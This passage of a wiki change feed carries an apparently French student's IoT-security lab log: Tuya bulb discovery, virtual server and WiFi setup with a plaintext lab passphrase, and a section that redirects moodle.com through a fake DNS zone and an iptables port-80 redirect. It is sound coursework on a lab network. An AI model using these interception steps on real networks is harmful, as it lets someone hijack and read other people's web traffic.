                &amp;quot;type&amp;quot;: &amp;quot;Enum&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {&lt;br /&gt;
                    &amp;quot;range&amp;quot;: [&lt;br /&gt;
                        &amp;quot;white&amp;quot;,&lt;br /&gt;
                        &amp;quot;colour&amp;quot;,&lt;br /&gt;
                        &amp;quot;scene&amp;quot;,&lt;br /&gt;
                        &amp;quot;music&amp;quot;&lt;br /&gt;
                    ]&lt;br /&gt;
                }&lt;br /&gt;
            },&lt;br /&gt;
            &amp;quot;22&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;bright_value_v2&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Integer&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {&lt;br /&gt;
                    &amp;quot;min&amp;quot;: 10,&lt;br /&gt;
                    &amp;quot;max&amp;quot;: 1000,&lt;br /&gt;
                    &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                    &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                }&lt;br /&gt;
            },&lt;br /&gt;
            &amp;quot;23&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;temp_value_v2&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Integer&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {&lt;br /&gt;
                    &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                    &amp;quot;max&amp;quot;: 1000,&lt;br /&gt;
                    &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                    &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                }&lt;br /&gt;
            },&lt;br /&gt;
            &amp;quot;25&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;scene_data_v2&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Json&amp;quot;,&lt;br /&gt;
                &amp;quot;raw_values&amp;quot;: &amp;quot;{\&amp;quot;scene_num\&amp;quot;:{\&amp;quot;min\&amp;quot;:1,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;max\&amp;quot;:8,\&amp;quot;step\&amp;quot;:1},\&amp;quot;scene_units\&amp;quot;: {\&amp;quot;unit_change_mode\&amp;quot;:{\&amp;quot;range\&amp;quot;:[\&amp;quot;static\&amp;quot;,\&amp;quot;jump\&amp;quot;,\&amp;quot;gradient\&amp;quot;]},\&amp;quot;unit_switch_duration\&amp;quot;:{\&amp;quot;min\&amp;quot;:0,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;max\&amp;quot;:100,\&amp;quot;step\&amp;quot;:1},\&amp;quot;unit_gradient_duration\&amp;quot;:{\&amp;quot;min\&amp;quot;:0,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;max\&amp;quot;:100,\&amp;quot;step\&amp;quot;:1},\&amp;quot;bright\&amp;quot;:{\&amp;quot;min\&amp;quot;:0,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;max\&amp;quot;:1000,\&amp;quot;step\&amp;quot;:1},\&amp;quot;temperature\&amp;quot;:{\&amp;quot;min\&amp;quot;:0,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;max\&amp;quot;:1000,\&amp;quot;step\&amp;quot;:1},\&amp;quot;h\&amp;quot;:{\&amp;quot;min\&amp;quot;:0,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;unit\&amp;quot;:\&amp;quot;\&amp;quot;,\&amp;quot;max\&amp;quot;:360,\&amp;quot;step\&amp;quot;:1},\&amp;quot;s\&amp;quot;:{\&amp;quot;min\&amp;quot;:0,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;unit\&amp;quot;:\&amp;quot;\&amp;quot;,\&amp;quot;max\&amp;quot;:1000,\&amp;quot;step\&amp;quot;:1},\&amp;quot;v\&amp;quot;:{\&amp;quot;min\&amp;quot;:0,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;unit\&amp;quot;:\&amp;quot;\&amp;quot;,\&amp;quot;max\&amp;quot;:1000,\&amp;quot;step\&amp;quot;:1}}}&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {&lt;br /&gt;
                    &amp;quot;scene_num&amp;quot;: {&lt;br /&gt;
                        &amp;quot;min&amp;quot;: 1,&lt;br /&gt;
                        &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                        &amp;quot;max&amp;quot;: 8,&lt;br /&gt;
                        &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                    },&lt;br /&gt;
                    &amp;quot;scene_units&amp;quot;: {&lt;br /&gt;
                        &amp;quot;unit_change_mode&amp;quot;: {&lt;br /&gt;
                            &amp;quot;range&amp;quot;: [&lt;br /&gt;
                                &amp;quot;static&amp;quot;,&lt;br /&gt;
                                &amp;quot;jump&amp;quot;,&lt;br /&gt;
                                &amp;quot;gradient&amp;quot;&lt;br /&gt;
                            ]&lt;br /&gt;
                        },&lt;br /&gt;
                        &amp;quot;unit_switch_duration&amp;quot;: {&lt;br /&gt;
                            &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;max&amp;quot;: 100,&lt;br /&gt;
                            &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                        },&lt;br /&gt;
                        &amp;quot;unit_gradient_duration&amp;quot;: {&lt;br /&gt;
                            &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;max&amp;quot;: 100,&lt;br /&gt;
                            &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                        },&lt;br /&gt;
                        &amp;quot;bright&amp;quot;: {&lt;br /&gt;
                            &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;max&amp;quot;: 1000,&lt;br /&gt;
                            &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                        },&lt;br /&gt;
                        &amp;quot;temperature&amp;quot;: {&lt;br /&gt;
                            &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;max&amp;quot;: 1000,&lt;br /&gt;
                            &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                        },&lt;br /&gt;
                        &amp;quot;h&amp;quot;: {&lt;br /&gt;
                            &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;unit&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
                            &amp;quot;max&amp;quot;: 360,&lt;br /&gt;
                            &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                        },&lt;br /&gt;
                        &amp;quot;s&amp;quot;: {&lt;br /&gt;
                            &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;unit&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
                            &amp;quot;max&amp;quot;: 1000,&lt;br /&gt;
                            &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                        },&lt;br /&gt;
                        &amp;quot;v&amp;quot;: {&lt;br /&gt;
                            &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;unit&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
                            &amp;quot;max&amp;quot;: 1000,&lt;br /&gt;
                            &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                        }&lt;br /&gt;
                    }&lt;br /&gt;
                }&lt;br /&gt;
            },&lt;br /&gt;
            &amp;quot;26&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;countdown_1&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Integer&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {&lt;br /&gt;
                    &amp;quot;unit&amp;quot;: &amp;quot;s&amp;quot;,&lt;br /&gt;
                    &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                    &amp;quot;max&amp;quot;: 86400,&lt;br /&gt;
                    &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                    &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                }&lt;br /&gt;
            },&lt;br /&gt;
            &amp;quot;28&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;control_data&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Json&amp;quot;,&lt;br /&gt;
                &amp;quot;raw_values&amp;quot;: &amp;quot;{\&amp;quot;change_mode\&amp;quot;:{\&amp;quot;range\&amp;quot;:[\&amp;quot;direct\&amp;quot;,\&amp;quot;gradient\&amp;quot;]}, \&amp;quot;bright\&amp;quot;:{\&amp;quot;min\&amp;quot;:0,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;unit\&amp;quot;:\&amp;quot;\&amp;quot;,\&amp;quot;max\&amp;quot;:1000,\&amp;quot;step\&amp;quot;:1}, \&amp;quot;temperature\&amp;quot;:{\&amp;quot;min\&amp;quot;:0,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;unit\&amp;quot;:\&amp;quot;\&amp;quot;,\&amp;quot;max\&amp;quot;:1000,\&amp;quot;step\&amp;quot;:1}, \&amp;quot;h\&amp;quot;:{\&amp;quot;min\&amp;quot;:0,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;unit\&amp;quot;:\&amp;quot;\&amp;quot;,\&amp;quot;max\&amp;quot;:360,\&amp;quot;step\&amp;quot;:1},\&amp;quot;s\&amp;quot;:{\&amp;quot;min\&amp;quot;:0,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;unit\&amp;quot;:\&amp;quot;\&amp;quot;,\&amp;quot;max\&amp;quot;:255,\&amp;quot;step\&amp;quot;:1},\&amp;quot;v\&amp;quot;:{\&amp;quot;min\&amp;quot;:0,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;unit\&amp;quot;:\&amp;quot;\&amp;quot;,\&amp;quot;max\&amp;quot;:255,\&amp;quot;step\&amp;quot;:1}}&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {&lt;br /&gt;
                    &amp;quot;change_mode&amp;quot;: {&lt;br /&gt;
                        &amp;quot;range&amp;quot;: [&lt;br /&gt;
                            &amp;quot;direct&amp;quot;,&lt;br /&gt;
                            &amp;quot;gradient&amp;quot;&lt;br /&gt;
                        ]&lt;br /&gt;
                    },&lt;br /&gt;
                    &amp;quot;bright&amp;quot;: {&lt;br /&gt;
                        &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                        &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                        &amp;quot;unit&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
                        &amp;quot;max&amp;quot;: 1000,&lt;br /&gt;
                        &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                    },&lt;br /&gt;
                    &amp;quot;temperature&amp;quot;: {&lt;br /&gt;
                        &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                        &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                        &amp;quot;unit&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
                        &amp;quot;max&amp;quot;: 1000,&lt;br /&gt;
                        &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                    },&lt;br /&gt;
                    &amp;quot;h&amp;quot;: {&lt;br /&gt;
                        &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                        &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                        &amp;quot;unit&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
                        &amp;quot;max&amp;quot;: 360,&lt;br /&gt;
                        &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                    },&lt;br /&gt;
                    &amp;quot;s&amp;quot;: {&lt;br /&gt;
                        &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                        &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                        &amp;quot;unit&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
                        &amp;quot;max&amp;quot;: 255,&lt;br /&gt;
                        &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                    },&lt;br /&gt;
                    &amp;quot;v&amp;quot;: {&lt;br /&gt;
                        &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                        &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                        &amp;quot;unit&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
                        &amp;quot;max&amp;quot;: 255,&lt;br /&gt;
                        &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                    }&lt;br /&gt;
                }&lt;br /&gt;
            },&lt;br /&gt;
            &amp;quot;30&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;rhythm_mode&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Raw&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {&lt;br /&gt;
                    &amp;quot;maxlen&amp;quot;: &amp;quot;255&amp;quot;&lt;br /&gt;
                }&lt;br /&gt;
            },&lt;br /&gt;
            &amp;quot;31&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;sleep_mode&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Raw&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {&lt;br /&gt;
                    &amp;quot;maxlen&amp;quot;: &amp;quot;255&amp;quot;&lt;br /&gt;
                }&lt;br /&gt;
            },&lt;br /&gt;
            &amp;quot;32&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;wakeup_mode&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Raw&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {&lt;br /&gt;
                    &amp;quot;maxlen&amp;quot;: &amp;quot;255&amp;quot;&lt;br /&gt;
                }&lt;br /&gt;
            },&lt;br /&gt;
            &amp;quot;41&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;remote_switch&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Boolean&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {}&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
]&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&amp;gt; Saving list to devices.json&lt;br /&gt;
    1 registered devices saved&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&amp;gt; Saving raw TuyaPlatform response to tuya-raw.json&lt;br /&gt;
&lt;br /&gt;
Poll local devices? (Y/n): &lt;br /&gt;
&lt;br /&gt;
Scanning local network for Tuya devices...&lt;br /&gt;
    1 local devices discovered                         &lt;br /&gt;
&lt;br /&gt;
Polling local devices...&lt;br /&gt;
    [Ampoule Connectée        ] 172.16.10.108      - [On]  - DPS: {'20': True, '21': 'white', '22': 1000, '23': 1000, '25': '000e0d0000000000000000c80000', '26': 0, '41': True}&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&amp;gt; Saving device snapshot data to snapshot.json&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&amp;gt; Saving IP addresses to devices.json&lt;br /&gt;
    1 device IP addresses found&lt;br /&gt;
&lt;br /&gt;
Done.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Vdetrez</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=11182</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=11182"/>
		<updated>2026-01-13T17:27:59Z</updated>

		<summary type="html">&lt;p&gt;Vdetrez : /* TinyTuya */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Fichier:1107px-Titre page.png|sans_cadre|820x820px]]&lt;br /&gt;
&lt;br /&gt;
= Serveur virtuel (17/09) =&lt;br /&gt;
Dans un premier temps, on vient créer un serveur virtuel sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec la commande &amp;lt;code&amp;gt;xen-create-image --hostname=SE5.vdetrez --dhcp --dir=/usr/local/xen --size=10G --memory=2G --dist=daedalus --bridge=bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, sur capbreton dans le dossier &amp;lt;code&amp;gt;/etc/network/interfaces.d&amp;lt;/code&amp;gt; on vient créer un fichier &amp;lt;code&amp;gt;g1_vdetrez&amp;lt;/code&amp;gt; pour mettre en place une nouvelle interface dans le VLAN 410.  &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
auto Trunk.410&lt;br /&gt;
iface Trunk.410 inet manual&lt;br /&gt;
        vlan-raw-device Trunk&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g1_vdetrez&lt;br /&gt;
iface g1_vdetrez inet manual&lt;br /&gt;
	bridge_ports Trunk.410&lt;br /&gt;
	up ip link set $IFACE up &lt;br /&gt;
	down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a maintenant accès à la machine SE5.vdetrez (en ayant évidemment fait l'erreur de mettre &amp;quot;.&amp;quot; à la place de &amp;quot;-&amp;quot;) et on vient y configurer nos adresses IPv4.&lt;br /&gt;
&lt;br /&gt;
Mon adresse IPv4 routée est la &amp;lt;code&amp;gt;172.26.145.100&amp;lt;/code&amp;gt; et mon IPv4 dans le VLAN 410 est &amp;lt;code&amp;gt;172.16.10.0&amp;lt;/code&amp;gt; &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 172.26.145.110&lt;br /&gt;
	netmask 255.255.255.0&lt;br /&gt;
	gateway 172.26.145.251&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
	address 172.16.10.0/24&lt;br /&gt;
#&lt;br /&gt;
# The commented out line above will disable TCP checksumming which&lt;br /&gt;
# might resolve problems for some users.  It is disabled by default&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On vérifie avec la commande &amp;lt;code&amp;gt;ip a&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:41 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.26.145.110/24 brd 172.26.145.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:6050:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 853sec preferred_lft 753sec&lt;br /&gt;
    inet6 2a01:c916:2047:c850:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 2591853sec preferred_lft 604653sec&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7441/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:42 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.16.10.0/24 brd 172.16.10.255 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7442/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on constate que notre serveur a accès à Internet avec la commande &amp;lt;code&amp;gt;ping 8.8.8.8&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Point d'accès WiFi (29/09) =&lt;br /&gt;
Pour l'instant, nous mettons de côté ce point du TP car il n'est pas utile pour la suite.&lt;br /&gt;
&lt;br /&gt;
= Sécurisation WiFi par WPA2-PSK =&lt;br /&gt;
&lt;br /&gt;
Pour communiquer avec le routeur &amp;lt;code&amp;gt;Cisco&amp;lt;/code&amp;gt;, on branche le port série en USB et on se connecte avec la commande &amp;lt;code&amp;gt;minicom -D /dev/ttyUSB0 -b 9600&amp;lt;/code&amp;gt;. La première étape fut la création du SSID &amp;lt;code&amp;gt;SE5-SSID10&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
dot11 ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
vlan 410&lt;br /&gt;
&lt;br /&gt;
authentication open&lt;br /&gt;
&lt;br /&gt;
authentication key-management wpa version 2&lt;br /&gt;
&lt;br /&gt;
wpa-psk ascii Cisco2025&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Puis, on configure l'interface &amp;lt;code&amp;gt;Dot11Radio0&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
interface dot11radio 0&lt;br /&gt;
&lt;br /&gt;
encryption mode ciphers aes-ccm&lt;br /&gt;
&lt;br /&gt;
ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
station-role root&lt;br /&gt;
&lt;br /&gt;
no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après cela, on retourne sur notre serveur virtuel et on y implémente un serveur DHCP pour l'attribution des IP aux machines se connectant sur le routeur. On retrouve cette configuration dans &amp;lt;code&amp;gt;/etc/dhcp/dhcpd.conf&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
option domain-name &amp;quot;plil.info&amp;quot;;&lt;br /&gt;
option domain-name-servers ns.plil.info;&lt;br /&gt;
&lt;br /&gt;
default-lease-time 600;&lt;br /&gt;
max-lease-time 7200;&lt;br /&gt;
&lt;br /&gt;
ddns-update-style none;&lt;br /&gt;
&lt;br /&gt;
authoritative;&lt;br /&gt;
&lt;br /&gt;
subnet 172.16.10.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.10.100 172.16.10.200;&lt;br /&gt;
  option domain-name-servers 172.16.10.1;&lt;br /&gt;
  option routers 172.16.10.1;&lt;br /&gt;
  default-lease-time 600;&lt;br /&gt;
  max-lease-time 7200;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on implémente un serveur DNS minimal dans le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.options&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
        recursion yes;&lt;br /&gt;
        allow-query {172.16.10.0/24; 127.0.0.1;};&lt;br /&gt;
&lt;br /&gt;
         forwarders {&lt;br /&gt;
                8.8.8.8;&lt;br /&gt;
                1.1.1.1;&lt;br /&gt;
         };&lt;br /&gt;
&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
        listen-on {127.0.0.1; 172.16.10.1;};&lt;br /&gt;
        listen-on-v6 { none; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et enfin, on met en place une mascarade entre le VLAN 410 et le routeur du réseau des salles de projets pour donner l'accès à Internet.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Interception de flux (30/09) =&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Pour cette partie, on va ajouter une zone primaire à notre serveur DNS avec le nom Internet du site que l'on veut rediriger vers notre machine.&lt;br /&gt;
&lt;br /&gt;
Ici, ce sera le merveilleux &amp;lt;code&amp;gt;moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
D'abord, on modifie &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;moodle.com&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.moodle.com&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on crée la fameuse zone &amp;lt;code&amp;gt;db.moodle.com&amp;lt;/code&amp;gt; dans le même répertoire &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    200&lt;br /&gt;
@       IN      SOA     ns.moodle.com. admin.moodle.com. (&lt;br /&gt;
                        5       ;&lt;br /&gt;
                        3600    ;&lt;br /&gt;
                        1800    ;&lt;br /&gt;
                        604800  ;&lt;br /&gt;
                        86400   ;&lt;br /&gt;
)&lt;br /&gt;
        IN      NS      ns.moodle.com.&lt;br /&gt;
ns      IN      A       172.16.10.1&lt;br /&gt;
@       IN      A       172.16.10.1&lt;br /&gt;
www     IN      CNAME   ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier si notre configuration est correcte, on exécute ces deux commandes :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkconf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkzone moodle.com /etc/bind/db.moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
Dans cette partie, on ajoute une règle &amp;lt;code&amp;gt;iptables&amp;lt;/code&amp;gt; pour rediriger le flux TCP vers un port local, le &amp;lt;code&amp;gt;8080&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iptables -t nat -A PREROUTING -i eth0  -p tcp --dport 80 -j REDIRECT --to-ports 8080&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
